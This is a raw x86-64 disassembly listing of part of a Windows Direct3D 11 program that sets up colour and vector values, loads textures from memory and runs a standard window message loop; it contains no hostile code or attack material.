call fcn.7ff6bafe1980
call fcn.7ff6bafc3950
movaps xmm2, xmm6
lea rcx, [rbp + 0x11f8]
movaps xmm1, xmm6
mov rbx, rax
mov dword [rax + 0x10], r13d
call fcn.7ff6bafc1390
movss xmm1, dword [0x7ff6bb0ac0ec]
lea rcx, [rbp + 0x11f8]
movaps xmm2, xmm1
movsd xmm0, qword [rax]
movsd qword [rbx + 0x20], xmm0
mov dword [rbx + 0x2c], 0x40400000
mov dword [rbx + 0x44], 0x40c00000
call fcn.7ff6bafc1390
xorps xmm2, xmm2
lea rcx, [rbp + 0x11f8]
xorps xmm1, xmm1
xorps xmm15, xmm15
movsd xmm0, qword [rax]
movsd qword [rbx + 0x4c], xmm0
mov dword [rbx + 0x74], 0x41500000
mov dword [rbx + 0x78], 0x3f800000
mov dword [rbx + 0x7c], 0x41000000
mov dword [rbx + 0x80], 0x40400000
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac0e4]
lea rcx, [rbp + 0x11f8]
movss xmm1, dword [0x7ff6bb0ac0d8]
movsd xmm0, qword [rax]
movsd qword [rbx + 8], xmm0
call fcn.7ff6bafc1390
movaps xmm2, xmm6
lea rcx, [rbp + 0x11f8]
movaps xmm1, xmm6
movsd xmm0, qword [rax]
movsd qword [rbx + 0x3c], xmm0
call fcn.7ff6bafc1390
movss xmm14, dword [0x7ff6bb0ac0bc]
lea rcx, [rbp + 0x2340]
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm14
xorps xmm2, xmm2
xorps xmm1, xmm1
movsd xmm0, qword [rax]
movsd qword [rbx + 0x98], xmm0
mov dword [rbx + 0x14], r13d
mov dword [rbx + 0x48], 0x3f800000
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0abf7c]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0xe8], xmm0
movaps xmm3, xmm1
lea rcx, [rbp + 0x2340]
movaps xmm2, xmm1
call fcn.7ff6bafc13a0
movaps xmm3, xmm14
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm14
lea rcx, [rbp + 0x2340]
movaps xmm1, xmm14
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0xf8], xmm0
call fcn.7ff6bafc13a0
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm6
lea rcx, [rbp + 0x2340]
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0xc8], xmm0
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0abf8c]
lea rcx, [rbp + 0x2340]
movss xmm11, dword [0x7ff6bb0ac08c]
movaps xmm3, xmm1
movaps xmm2, xmm1
movss dword [rsp + 0x20], xmm11
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0xd8], xmm0
call fcn.7ff6bafc13a0
movss xmm12, dword [0x7ff6bb0ac010]
lea rcx, [rbp + 0x2340]
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm6
movaps xmm2, xmm12
movaps xmm1, xmm12
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x108], xmm0
call fcn.7ff6bafc13a0
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm15
xorps xmm2, xmm2
lea rcx, [rbp + 0x2340]
xorps xmm1, xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x118], xmm0
call fcn.7ff6bafc13a0
movss xmm10, dword [0x7ff6bb0abf9c]
lea rcx, [rbp + 0x2340]
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm11
movaps xmm2, xmm10
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x128], xmm0
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0ac078]
lea rcx, [rbp + 0x2340]
movss dword [rsp + 0x20], xmm1
movss xmm1, dword [0x7ff6bb0ac018]
movups xmm0, xmmword [rax]
movaps xmm3, xmm1
movaps xmm2, xmm1
movups xmmword [rbx + 0x138], xmm0
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0ac044]
lea rcx, [rbp + 0x2340]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x148], xmm0
call fcn.7ff6bafc13a0
movss xmm7, dword [0x7ff6bb0abfa0]
lea rcx, [rbp + 0x2340]
movss xmm6, dword [0x7ff6bb0ac0ac]
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm6
movaps xmm2, xmm7
movups xmm0, xmmword [rax]
movaps xmm1, xmm7
movups xmmword [rbx + 0x158], xmm0
call fcn.7ff6bafc13a0
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm6
movaps xmm2, xmm7
lea rcx, [rbp + 0x2340]
movaps xmm1, xmm7
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x168], xmm0
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0ac070]
lea rcx, [rbp + 0x2340]
movss xmm13, dword [0x7ff6bb0abf78]
movss dword [rsp + 0x20], xmm1
movaps xmm3, xmm13
movups xmm0, xmmword [rax]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmmword [rbx + 0x178], xmm0
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0abfa8]
lea rcx, [rbp + 0x2340]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x188], xmm0
call fcn.7ff6bafc13a0
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm6
movaps xmm2, xmm7
lea rcx, [rbp + 0x2340]
movaps xmm1, xmm7
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x198], xmm0
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0abfe8]
lea rcx, [rbp + 0x2340]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x1a8], xmm0
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0ac00c]
lea rcx, [rbp + 0x2340]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x1b8], xmm0
call fcn.7ff6bafc13a0
lea rcx, [rbp + 0x2340]
movss dword [rsp + 0x20], xmm14
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x1c8], xmm0
movss xmm0, dword [0x7ff6bb0ac02c]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.7ff6bafc13a0
movaps xmm3, xmm14
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm14
lea rcx, [rbp + 0x2340]
movaps xmm1, xmm14
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x1d8], xmm0
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0abfd0]
lea rcx, [rbp + 0x2340]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x1e8], xmm0
call fcn.7ff6bafc13a0
movss xmm9, dword [0x7ff6bb0abff4]
movss dword [rsp + 0x20], xmm14
movaps xmm3, xmm9
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x1f8], xmm0
movaps xmm2, xmm9
lea rcx, [rbp + 0x2340]
movaps xmm1, xmm9
call fcn.7ff6bafc13a0
movss xmm8, dword [0x7ff6bb0abf6c]
lea rcx, [rbp + 0x2340]
movss xmm7, dword [0x7ff6bb0ac088]
movaps xmm3, xmm8
movss xmm6, dword [0x7ff6bb0ac09c]
movaps xmm2, xmm7
movups xmm0, xmmword [rax]
movaps xmm1, xmm6
movss dword [rsp + 0x20], xmm15
movups xmmword [rbx + 0x208], xmm0
call fcn.7ff6bafc13a0
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm7
lea rcx, [rbp + 0x2340]
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x218], xmm0
call fcn.7ff6bafc13a0
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm7
lea rcx, [rbp + 0x2340]
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x228], xmm0
call fcn.7ff6bafc13a0
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm11
movaps xmm2, xmm10
lea rcx, [rbp + 0x2340]
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x238], xmm0
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0ac080]
lea rcx, [rbp + 0x2340]
movss dword [rsp + 0x20], xmm1
movaps xmm3, xmm9
movss xmm1, dword [0x7ff6bb0abff0]
movups xmm0, xmmword [rax]
movaps xmm2, xmm1
movups xmmword [rbx + 0x248], xmm0
call fcn.7ff6bafc13a0
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm11
movaps xmm2, xmm10
lea rcx, [rbp + 0x2340]
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x258], xmm0
call fcn.7ff6bafc13a0
movss xmm11, dword [0x7ff6bb0ac024]
lea rcx, [rbp + 0x2340]
movaps xmm3, xmm11
movss dword [rsp + 0x20], xmm11
movaps xmm2, xmm12
movaps xmm1, xmm12
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x268], xmm0
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0ac068]
lea rcx, [rbp + 0x2340]
movss xmm8, dword [0x7ff6bb0ac0a0]
movss xmm7, dword [0x7ff6bb0ac034]
movaps xmm3, xmm8
movups xmm0, xmmword [rax]
movss xmm6, dword [0x7ff6bb0abfc4]
movaps xmm2, xmm7
movss dword [rsp + 0x20], xmm1
movaps xmm1, xmm6
movups xmmword [rbx + 0x278], xmm0
call fcn.7ff6bafc13a0
movss dword [rsp + 0x20], xmm14
movaps xmm3, xmm8
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x288], xmm0
movaps xmm2, xmm7
lea rcx, [rbp + 0x2340]
movaps xmm1, xmm6
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0abfc0]
lea rcx, [rbp + 0x2340]
movss dword [rsp + 0x20], xmm1
movaps xmm3, xmm8
movaps xmm2, xmm7
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x298], xmm0
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0ac04c]
lea rcx, [rbp + 0x2340]
movss dword [rsp + 0x20], xmm1
movaps xmm3, xmm8
movaps xmm2, xmm7
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x2a8], xmm0
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0ac094]
lea rcx, [rbp + 0x2340]
movss dword [rsp + 0x20], xmm1
movaps xmm3, xmm8
movaps xmm2, xmm7
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x2b8], xmm0
call fcn.7ff6bafc13a0
movss xmm1, dword [0x7ff6bb0ac040]
lea rcx, [rbp + 0x2340]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x2c8], xmm0
call fcn.7ff6bafc13a0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm12
lea rcx, [rbp + 0x2340]
movaps xmm1, xmm14
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x328], xmm0
call fcn.7ff6bafc13a0
movss xmm2, dword [0x7ff6bb0ac054]
lea rcx, [rbp + 0x2340]
movss xmm1, dword [0x7ff6bb0ac084]
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm14
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x338], xmm0
call fcn.7ff6bafc13a0
movss xmm10, dword [0x7ff6bb0ac03c]
lea rcx, [rbp + 0x2340]
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm10
movaps xmm1, xmm14
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x348], xmm0
call fcn.7ff6bafc13a0
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm9
movaps xmm2, xmm7
lea rcx, [rbp + 0x2340]
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x358], xmm0
call fcn.7ff6bafc13a0
mov rcx, qword [0x7ff6bb1535d8]
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0x3b8], xmm0
call fcn.7ff6bafec1a0
mov rdx, qword [0x7ff6bb155658]
mov rcx, qword [0x7ff6bb155650]
call fcn.7ff6bafebf70
mov r15d, r12d
mov dword [rbp - 0x78], r12d
xor ecx, ecx
mov dword [rbp - 0x7c], r12d
mov r14d, r12d
call fcn.7ff6bafffd50
lea rcx, [rbp + 0x1660]
call fcn.7ff6baffdb70
movss xmm7, dword [0x7ff6bb0abf68]
lea rcx, [rbp + 0x1748]
movss xmm6, dword [0x7ff6bb0ac038]
movaps xmm3, xmm7
movss xmm8, dword [0x7ff6bb0ac1b0]
movaps xmm2, xmm6
movaps xmm1, xmm14
movss dword [rsp + 0x20], xmm8
call fcn.7ff6bafc13a0
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm8
movaps xmm2, xmm6
lea rcx, [rbp + 0x1738]
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm8
movaps xmm2, xmm6
lea rcx, [rbp + 0x17f8]
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm8
movaps xmm2, xmm6
lea rcx, [rbp + 0x1768]
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm8
movaps xmm2, xmm6
lea rcx, [rbp + 0x1758]
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm8
movaps xmm2, xmm6
lea rcx, [rbp + 0x17e8]
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movss xmm7, dword [0x7ff6bb0ac0a8]
lea rcx, [rbp + 0x17d8]
movaps xmm1, xmm7
movss dword [rsp + 0x20], xmm13
movaps xmm3, xmm14
movaps xmm2, xmm14
call fcn.7ff6bafc13a0
lea rcx, [rbp + 0x19b0]
call fcn.7ff6bafe6180
lea rcx, [rbp + 0x1810]
mov byte [rbp + 0x19f8], r12b
mov byte [rbp + 0x19d0], r12b
call fcn.7ff6bafe6180
movss xmm6, dword [0x7ff6bb0ac114]
lea rax, [rbp + 0x19b0]
mov byte [rbp + 0x181c], 0
lea rbx, [0x7ff6bb0a4098]
mov rcx, qword [rdi + 0x50]
lea rdx, [0x7ff6bb0682e0]
mov qword [rsp + 0x28], rbx
movaps xmm3, xmm6
mov r8d, 0x3934b
mov qword [rsp + 0x20], rax
call fcn.7ff6bafe6da0
movss xmm3, dword [0x7ff6bb0ac124]
lea rdx, [0x7ff6bb0682e0]
mov rcx, qword [rdi + 0x50]
mov r8d, 0x3934b
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r13
call fcn.7ff6bafe6da0
movss xmm9, dword [0x7ff6bb0ac13c]
mov r8d, 0x3934b
mov qword [rsp + 0x28], rbx
movaps xmm3, xmm9
mov qword [rsp + 0x20], r13
mov rcx, qword [rdi + 0x50]
lea rdx, [0x7ff6bb0682e0]
call fcn.7ff6bafe6da0
mov rcx, qword [0x7ff6bb155650]
lea r9, [rbp + 0x1660]
mov qword [rbp + 8], rax
lea rdx, [0x7ff6bb0dc320]
lea rax, [rbp + 0x1170]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
mov r8d, 0x453f6
mov qword [rsp + 0x20], r13
mov qword [rbp + 0x1170], r13
mov qword [rbp + 0x1178], r13
mov qword [rbp + 0x1168], r13
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x7ff6bb155650]
lea rax, [rbp + 0x1178]
mov qword [rsp + 0x30], r13
lea r9, [rbp + 0x1660]
mov qword [rsp + 0x28], rax
lea rdx, [0x7ff6bb0bb0c0]
mov r8d, 0x21260
mov qword [rsp + 0x20], r13
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x7ff6bb155650]
lea rax, [rbp + 0x1168]
mov qword [rsp + 0x30], r13
lea r9, [rbp + 0x1660]
mov qword [rsp + 0x28], rax
lea rdx, [0x7ff6bb12c2b0]
mov r8d, 0x1005d
mov qword [rsp + 0x20], r13
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.7ff6bafe8f50
movss xmm8, dword [0x7ff6bb0ac138]
lea rdx, [0x7ff6bb03b490]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm8
mov r8d, 0x2ce4b
mov qword [rsp + 0x20], r13
mov rcx, rbx
call fcn.7ff6bafe6da0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.7ff6bafe8f50
movss xmm3, dword [0x7ff6bb0ac140]
lea rdx, [0x7ff6bb03b490]
mov qword [rsp + 0x28], rax
mov r8d, 0x2ce4b
mov rcx, rbx
mov qword [rsp + 0x20], r13
call fcn.7ff6bafe6da0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.7ff6bafe8f50
movss xmm3, dword [0x7ff6bb0ac118]
lea rdx, [0x7ff6bb03b490]
mov qword [rsp + 0x28], rax
mov r8d, 0x2ce4b
mov rcx, rbx
mov qword [rsp + 0x20], r13
call fcn.7ff6bafe6da0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [rbp - 0x60], rax
call fcn.7ff6bafe8f50
movss xmm3, dword [0x7ff6bb0ac12c]
lea rdx, [0x7ff6bb03b490]
mov qword [rsp + 0x28], rax
mov r8d, 0x2ce4b
mov rcx, rbx
mov qword [rsp + 0x20], r13
call fcn.7ff6bafe6da0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.7ff6bafe8f50
mov qword [rsp + 0x20], rax
xor r9d, r9d
movss xmm2, dword [0x7ff6bb0ac158]
lea rdx, [0x7ff6bb0a34dc]
mov rcx, rbx
call fcn.7ff6bafe69c0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.7ff6bafe8f50
movss xmm2, dword [0x7ff6bb0ac128]
lea rdx, [0x7ff6bb0a34dc]
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.7ff6bafe69c0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [rbp - 0x58], rax
call fcn.7ff6bafe8f50
xor r9d, r9d
mov qword [rsp + 0x20], rax
movaps xmm2, xmm8
lea rdx, [0x7ff6bb0a34dc]
mov rcx, rbx
call fcn.7ff6bafe69c0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [rbp - 0x70], rax
call fcn.7ff6bafe8f50
mov qword [rsp + 0x28], rax
lea rdx, [0x7ff6bb121720]
lea rax, [rbp + 0x1810]
movaps xmm3, xmm6
mov r8d, 0xab88
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.7ff6bafe6c30
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.7ff6bafe8f50
movss xmm3, dword [0x7ff6bb0ac104]
lea rdx, [0x7ff6bb121720]
mov qword [rsp + 0x28], rax
mov r8d, 0xab88
lea rax, [rbp + 0x1810]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.7ff6bafe6c30
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.7ff6bafe8f50
movss xmm3, dword [0x7ff6bb0ac120]
lea rdx, [0x7ff6bb121720]
mov qword [rsp + 0x28], rax
mov r8d, 0xab88
lea rax, [rbp + 0x1810]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.7ff6bafe6c30
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [rbp - 0x10], rax
call fcn.7ff6bafe8f50
movss xmm3, dword [0x7ff6bb0ac134]
lea rdx, [0x7ff6bb121720]
mov qword [rsp + 0x28], rax
mov r8d, 0xab88
lea rax, [rbp + 0x1810]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.7ff6bafe6c30
xor ecx, ecx
mov qword [rbp - 0x68], rax
mov byte [rbp + 0x11d0], r12b
call qword [sym.imp.user32.dll_ShowCursor]
lea r10, [0x7ff6bb1535e0]
lea rcx, [r10 - 1]
nop dword [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x7ff6bb00b6d0
mov eax, dword [0x7ff6bb0a2c40]
movups xmm0, xmmword [0x7ff6bb0a2c18]
movups xmm1, xmmword [0x7ff6bb0a2c28]
movups xmmword [rcx], xmm0
movsd xmm0, qword [0x7ff6bb0a2c38]
movups xmmword [rcx + 0x10], xmm1
movsd qword [rcx + 0x20], xmm0
mov dword [rcx + 0x28], eax
movzx eax, byte [0x7ff6bb0a2c44]
mov byte [rcx + 0x2c], al
lea rax, [r10 - 1]
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x7ff6bb00b713
movups xmm2, xmmword [0x7ff6bb0a2c48]
mov edx, dword [0x7ff6bb0a2c80]
lea rcx, [r10 - 1]
movups xmm3, xmmword [0x7ff6bb0a2c58]
movzx r8d, word [0x7ff6bb0a2c84]
movups xmm4, xmmword [0x7ff6bb0a2c68]
movzx r9d, byte [0x7ff6bb0a2c86]
movsd xmm5, qword [0x7ff6bb0a2c78]
movups xmmword [rax], xmm2
movups xmmword [rax + 0x10], xmm3
movups xmmword [rax + 0x20], xmm4
movsd qword [rax + 0x30], xmm5
mov dword [rax + 0x38], edx
mov word [rax + 0x3c], r8w
mov byte [rax + 0x3e], r9b
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x7ff6bb00b770
mov eax, dword [0x7ff6bb0a2ca0]
movups xmm0, xmmword [0x7ff6bb0a2c88]
movsd xmm1, qword [0x7ff6bb0a2c98]
movups xmmword [rcx], xmm0
movsd qword [rcx + 0x10], xmm1
mov dword [rcx + 0x18], eax
lea rax, [r10 - 1]
nop
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x7ff6bb00b7a0
movups xmmword [rax], xmm2
lea rcx, [rbp + 0x1200]
movups xmmword [rax + 0x10], xmm3
movups xmmword [rax + 0x20], xmm4
movsd qword [rax + 0x30], xmm5
mov dword [rax + 0x38], edx
lea rdx, [0x7ff6bb001300]
mov word [rax + 0x3c], r8w
mov byte [rax + 0x3e], r9b
call fcn.7ff6bb01bee0
mov rcx, rax
call fcn.7ff6baff9e30
lea rcx, [rbp + 0x1200]
call fcn.7ff6baff9e00
lea rdx, [rbp + 0x1698]
lea rcx, [rbp + 0x11f8]
call fcn.7ff6bb015300
mov rdx, rax
lea rcx, [rbp + 0x1350]
call fcn.7ff6bb01bf70
lea rcx, [rbp + 0x1350]
call fcn.7ff6baff9e30
movss xmm8, dword [0x7ff6bb0ac2e4]
movss xmm13, dword [0x7ff6bb0ac028]
movss xmm12, dword [0x7ff6bb0abfa4]
cmp byte [rbp + 0x11d0], 0
lea rbx, [0x7ff6bafc0000]
movzx eax, byte [0x7ff6bb121717]
je 0x7ff6bb00b851
test al, al
jne 0x7ff6bb00b85e
cmp byte [0x7ff6bb13fd3e], 0
je 0x7ff6bb012731
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, [rbp + 0x14b0]
xor edx, edx
call qword [sym.imp.user32.dll_PeekMessageW]
test eax, eax
je 0x7ff6bb00b8d0
nop dword [rax]
lea rcx, [rbp + 0x14b0]
call qword [sym.imp.user32.dll_TranslateMessage]
lea rcx, [rbp + 0x14b0]
call qword [sym.imp.user32.dll_DispatchMessageW]
movzx eax, byte [rbp + 0x11d0]
lea rcx, [rbp + 0x14b0]
cmp dword [rbp + 0x14b8], 0x12
mov dword [rsp + 0x20], r12d
cmove eax, r13d
xor r9d, r9d
xor r8d, r8d
mov byte [rbp + 0x11d0], al
xor edx, edx
call qword [sym.imp.user32.dll_PeekMessageW]
test eax, eax
jne 0x7ff6bb00b880
cmp byte [rbp + 0x11d0], 0
je 0x7ff6bb01272a
call fcn.7ff6bafec170
call fcn.7ff6bafecd30
call fcn.7ff6bafc7f00
mov rax, qword [0x7ff6bb13fd20]
lea rdx, [0x7ff6bb0a34e8]
xor r9d, r9d
movss dword [rsp + 0x20], xmm8
xor r8d, r8d
lea rcx, [rbp + 0xd0]
or dword [rax + 0x4760], 3
mov qword [rax + 0x4770], 0
mov qword [rax + 0x4778], 0
mov dword [rax + 0x4764], r12d
movsd xmm0, qword [0x7ff6bb13e340]
movsd qword [rax + 0x4780], xmm0
mov dword [rax + 0x4768], r12d
call fcn.7ff6bafcb010
movaps xmm6, xmm9
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
lea rdx, [0x7ff6bb0a34e8]
xor r8d, r8d
lea rcx, [rbp + 0xd8]
subss xmm6, dword [rax + 4]
mulss xmm6, xmm11
call fcn.7ff6bafcb010
movaps xmm0, xmm9
lea rdx, [rbp - 0x18]
mov ecx, 0xb
subss xmm0, dword [rax + 4]
movss dword [rbp - 0x14], xmm6
mulss xmm0, xmm11
movss dword [rbp - 0x18], xmm0
call fcn.7ff6bafc3960
mov r8d, 0x3b
lea rdx, [rbp + 0x11d0]
lea rcx, [0x7ff6bb0a34e8]
call fcn.7ff6bafce160
mov ecx, r12d
call fcn.7ff6bafc39f0
mov rcx, qword [0x7ff6bb13fd20]
mov qword [rbp + 0x1160], 0
mov qword [rbp + 0x1158], 0
mov rax, qword [rcx + 0x3ea0]
movsd xmm0, qword [rcx + 0xdfc]
movsd qword [rbp + 0x11f8], xmm0
movss xmm9, dword [rax + 0x18]
movss xmm11, dword [rax + 0x1c]
mov byte [rax + 0x98], r12b
mov rax, qword [rcx + 0x3ea0]
mov r13, qword [rax + 0x278]
call fcn.7ff6bafc6520
call fcn.7ff6bafc6540
cmp byte [0x7ff6bb121718], r12b
jne 0x7ff6bb00f944
call fcn.7ff6bafc6540
mov rcx, rax
call fcn.7ff6baff8020
lea eax, [r15 - 1]
cmp eax, 5
ja case.default.0x7ff6bb00ba55
cdqe
mov ecx, dword [rbx + rax*4 + 0x52c00]
add rcx, rbx
jmp rcx
movss xmm6, dword [0x7ff6bb0ac060]
lea rcx, [rbp + 0x898]
movss xmm7, dword [0x7ff6bb0abfe4]
movaps xmm3, xmm6
movss xmm12, dword [0x7ff6bb0ac01c]
movaps xmm2, xmm7
movaps xmm1, xmm12
movss dword [rsp + 0x20], xmm15
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm0, dword [0x7ff6bb0ac074]
lea rcx, [rbp + 0x8a8]
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm0
movaps xmm2, xmm7
movaps xmm1, xmm12
mov edi, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm2, dword [0x7ff6bb0ac208]
lea rcx, [rbp + 0xe0]
movss xmm1, dword [0x7ff6bb0ac24c]
mov ebx, eax
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac1bc]
mov r9d, ebx
mov rdx, rax
mov dword [rsp + 0x20], edi
mov rcx, r13
call fcn.7ff6bb007550
movss xmm6, dword [0x7ff6bb0ac1c8]
lea rcx, [rbp + 0xe8]
movss xmm1, dword [0x7ff6bb0ac1c0]
movaps xmm2, xmm6
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x8b8]
movaps xmm1, xmm15
call fcn.7ff6bafc13a0
movaps xmm3, xmm14
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm14
lea rcx, [rbp + 0x8c8]
movaps xmm1, xmm14
mov r14, rax
call fcn.7ff6bafc13a0
movaps xmm2, xmm14
lea rcx, [rbp + 0xf0]
movaps xmm1, xmm14
mov rsi, rax
call fcn.7ff6bafc1390
movaps xmm2, xmm15
lea rcx, [rbp + 0xf8]
movaps xmm1, xmm15
mov rdi, rax
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac1d8]
lea rcx, [rbp + 0x100]
movss xmm1, dword [0x7ff6bb0ac244]
mov rbx, rax
call fcn.7ff6bafc1390
mov rcx, qword [rbp + 0x1168]
mov r9, rdi
mov r8, rbx
mov qword [rsp + 0x28], r14
mov rdx, rax
mov qword [rsp + 0x20], rsi
call fcn.7ff6baff15e0
xor r9d, r9d
movss dword [rsp + 0x20], xmm8
xor r8d, r8d
lea rdx, [0x7ff6bb0360dc]
lea rcx, [rbp + 0x108]
call fcn.7ff6bafcb010
movss xmm1, dword [rax]
movss xmm2, dword [0x7ff6bb0ac150]
addss xmm1, xmm6
lea rcx, [rbp + 0x110]
subss xmm1, dword [0x7ff6bb0ac138]
call fcn.7ff6bafc1390
xor r9d, r9d
movss dword [rsp + 0x20], xmm8
xor r8d, r8d
lea rdx, [0x7ff6bb0360dc]
lea rcx, [rbp + 0x118]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
